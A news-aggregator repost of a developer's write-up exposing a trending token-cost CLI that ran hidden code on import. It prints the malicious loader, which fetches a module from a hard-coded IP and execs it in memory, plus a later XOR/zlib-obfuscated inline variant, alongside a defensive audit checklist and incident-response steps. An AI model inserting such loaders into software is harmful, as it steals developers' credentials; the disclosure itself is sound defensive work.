最新资讯
dev.to 我们在 DolphinBench 上测试记忆检索:纯关键词搜索暴露了自身回归 dev.to 别再把 Agent 写成 while 循环,把它建模为状态机 bloomberg.com Rightmove 与 Scout24 借 AI 产品应对低迷房市并上调展望 stackoverflow.blog 欢迎来到芯片时代:半导体制造、AI 数据中心与芯片设计的未来 www.youtube.com AI Agent 总犯同样的错:CentralAgent AI 将记忆重构为经验系统 pub.towardsai.net Netflix 科学家建议重采样 LLM 评判:5 次仅将误差棒缩小 13% pub.towardsai.net Jev 作为 LLM 前的静默层:构建提示感知的模型路由器 reddit.com OpenAI 称 Astra 仅满足 10% 安全任务标准 dev.to FreeToken:在自有 GPU 上运行前沿 MoE 模型及其内存需求 dev.to 当 AI Agent 说“完成”时,究竟完成了什么? dev.to 部署 Underdog Bark 3.0 Pro:逐字转写、自定义后端与分块设置 dev.to 为艰难对话构建 AI:五个 Agent、一条安全正则与一位盲评监督者
多元动态
登录 注册
AI编码 dev.to · @Felixwang007

一个 1145 星 CLI 宣称“数据不出本机”,却在 import 时执行隐藏载荷

原文 我的收藏

作者称 GitHub Trending 上的 tokentab(约 1.1k 星)宣称完全本地运行、无需账号与 API Key,用于读取 Claude Code、Codex、Cursor、Gemini CLI 的会话日志做 token 成本看板。但在提交 d9e8cb4 的 tokentab/setup.py 中发现硬编码的裸 IP、端口与 API Key 配置,指向 import 阶段执行隐藏载荷。作者同时说明其自查流程仍存在失效场景。

AI推荐理由 给出具体仓库、提交哈希、文件路径与代码片段(setup.py 中硬编码裸 IP、端口与 API Key),指向'本地运行'承诺与 import 时执行隐藏载荷之间的矛盾,对使用 Claude Code、Codex、Cursor、Gemini CLI 日志的开发者有直接安全警示;星数仅作传播背景,作者也说明其检查流程仍有失效之处,未过度断言。

78

正文

A repo with 1,145 stars told me it ran entirely locally. Line 12 of its CLI said otherwise, and the check that would have caught it takes 20 seconds. This is what it looked like, what I changed about my install routine, and where the routine still fails. The README said all the right things crwdla/tokentab was on GitHub Trending in mid-September 2026: two weeks old, ~1.1k stars, a dashboard screenshot, and this: tokentab reads the session logs that Claude Code, Codex, Cursor and Gemini CLI already leave on disk... It runs entirely locally: no account, no API key, nothing leaves your machine. That pitch is plausible, which is why it works. A token-cost dashboard has to read ~/.claude/projects/**/*.jsonl and ~/.codex/sessions/**/rollout-*.jsonl. Nothing about the premise is suspicious. What was in the tree Commit d9e8cb4 (2026-09-07), file tokentab/setup.py: CONFIG = { "HOST": "172.233.51.81", # bare IP, no domain, no TLS "PORT": 8765, "ASSET": "main", "API_KEY": "test123", "PAYLOAD_KEY": "secret456", } CLIENT_MODULE = "manual_mapper.py" def _load_module_memory(name: str, data: bytes) -> None: module = types.ModuleType(mod_name) module.__file__ = f"" # never touches disk sys.modules[mod_name] = module exec(compile(data, name, "exec"), module.__dict__) def bootstrap(cfg, url): if sys.platform != "win32": raise RuntimeError("win32 only") data = _fetch_bytes(f"{_server_base(url)}/api/v1/client/{CLIENT_MODULE}", cfg["API_KEY"]) _load_module_memory(CLIENT_MODULE, data) Enter fullscreen mode Exit fullscreen mode And in cli.py, at module scope: from tokentab import setup setup.run_sync() # line 12 — before argparse, before any output Enter fullscreen mode Exit fullscreen mode That line runs when the module is imported. Not when you pass a flag, not when you choose a subcommand: on import. Which means it also runs during pip install .. Two details worth sitting with. First, the fetched module was called manual_mapper.py — a name with no relationship to counting tokens. Second, the same file still contained Panel.fit(f"[bold cyan]text-humanizer[/bold cyan]") and a Deepseek REPL banner: leftovers from a different project, pasted in wholesale. Written, not assembled. It did not get fixed. It got obfuscated. Commit 3a7aac5 (2026-09-19, "add cursor support") deleted the readable version and replaced it with this shape: _rd9r1n = lambda a, k: bytes(v ^ k for v in a) _ddsw42wg7z = __import__(_rd9r1n([246,243,255,253], 158).decode()) # hmac _xvz9negeaj = __import__(_rd9r1n([109,123,126,117], 23).decode()) # zlib _ttyvpj = __import__(_rd9r1n([30,23,5,30,26,31,20], 118).decode()) # hashlib _a85u37nq1e = [[45,46,23,249,203,133,92,172, ... ]] # ~7 KB of int arrays Enter fullscreen mode Exit fullscreen mode …then an HMAC-SHA256 keystream over the reassembled blob, zlib.decompress, and the last line of the file: def _i44hyn5c6u(): getattr(__import__(), )(_q6newk(), globals()) _i44hyn5c6u() # line 42, runs on import Enter fullscreen mode Exit fullscreen mode cli.py line 12 now reads setup.run_sync(FORCE_SYNC=True). Same behaviour, one difference that matters: stage 2 no longer needs the network, because it ships inline and unpacks in memory. The lesson that cost me a credential rotation: read the tail of the file, not the head. The trigger was the last line. Verify it yourself — clone only, do not pip install . or run it: git clone --depth 1 https://github.com/crwdla/tokentab && cd tokentab git show d9e8cb4:tokentab/setup.py | sed -n '12,23p' # CONFIG block git show d9e8cb4:cli.py | sed -n '1,14p' # import-time call git show 3a7aac5:tokentab/setup.py # obfuscated variant Enter fullscreen mode Exit fullscreen mode Why dev tooling is the ideal delivery vehicle Machine that runs coding agents = .env with provider keys, a git token, a registry token, cloud credentials, and for me a market-data API key for an A-share pipeline. A "token cost dashboard" asking to read your session logs is a plausible reason to be in there — session logs contain your prompts, your code, and your absolute paths. Stars are not evidence either. Four commits, one account, two weeks old, 1,145 stars. The 20 seconds I spend now Five checks, no install, nothing executed. I wrapped them into two scripts (repo below, audit.sh for bash and audit.py for Windows): bash audit.sh https://github.com// python audit.py ./local/checkout Enter fullscreen mode Exit fullscreen mode # Check Why it is the check 1 hardcoded IP endpoints, with or without scheme an open-source CLI that talks to 203.0.113.7:8765 has no documented reason to; real tools use a domain and a real API 2 fetch → exec / compile / decompress chains downloading code and running it in-process is the malware pattern; the fetcher and the exec are frequently in different files 3 import-time side effects (setup.run_sync(), _i44hyn5c6u()) runs before you see output, and inside pip install . 4 obfuscation smell: xor lambdas, big int-array literals, getattr(mod, ) no cost-tracking CLI needs to hide module names behind byte arithmetic 5 declared vs real distribution (PyPI name, npm preinstall/postinstall) an install hook is code you never read and always run Run against the two versions above, the checker reports 4 findings for each. Run against a benign repo of mine, it reports zero. The false positive that almost killed the tool My first version flagged 414.336.75.75 in a clean repo. It was SVG path data — — matching loosely as an IPv4. I added an octet range validation (each part ≤ 255) and it went quiet. A checker that cries wolf on viewBox attributes gets ignored by the second week, which is strictly worse than not having one. If you already executed it Order matters more than thoroughness here. Kill the process by command line. Never blanket-kill the interpreter: on an agent host pkill python takes your agent down with the payload. Clone nothing else from that author until you're done. Rotate everything the process could read — .env, provider keys, git credentials, registry tokens. Assume the machine's full credential set is burnt. Check persistence (Run keys, scheduled tasks, Startup, hosts). Memory-only payloads leave nothing, so a clean result is not an all-clear. Reboot. A purely in-memory implant doesn't survive a restart. If there's no file to delete, this is the only removal step that reliably works. Inventory what else has execution rights, because disk scanning can't see runtime behaviour: npx -y geiger-scan # agents / MCP servers / plugins / hooks npx -y geiger-scan --json "$LOCALAPPDATA/Temp/geiger_$(date +%Y%m%d).json" npx -y geiger-scan --diff baseline.json # what appeared since last week Enter fullscreen mode Exit fullscreen mode On my machine the number that mattered wasn't 65 items across 7 ecosystems — it was the 13 items in the EXECUTES tier. One of them was an agent event hook, and hooks run without a prompt, so silently replacing one hook file is a complete backdoor. --diff against last week's snapshot is the only thing that tells you when something new walked in. What this cannot do A static grep does not see runtime behaviour — I could not recover the stage-2 program above without executing it, and that's the point: by then the audit has already failed. It also misses stage-2 code fetched at run time from a domain that looks clean today, anything that never touches disk, and compromised releases of tools you already trust. It is triage, not security. Its job is to make "clone and run" cost 20 seconds of reading instead of a credential rotation. Both scripts are MIT and dependency-free here: github.com/Felixwang007/agent-supply-chain-audit — audit.sh, audit.py, and the checklist in the README. The same checklists ship as agent skills I publish on 虾评 (xiaping.coze.com) for anyone driving Claude Code / Codex / Hermes-style agents. If you've hit a different flavour of this — a poisoned MCP server, a lookalike npm package, a "harmless" postinstall script — I'd like to compare notes in the comments.

来源报道 · 1 篇 · 以下链接均前往原始媒体

← 返回精选动态 原文

更多内容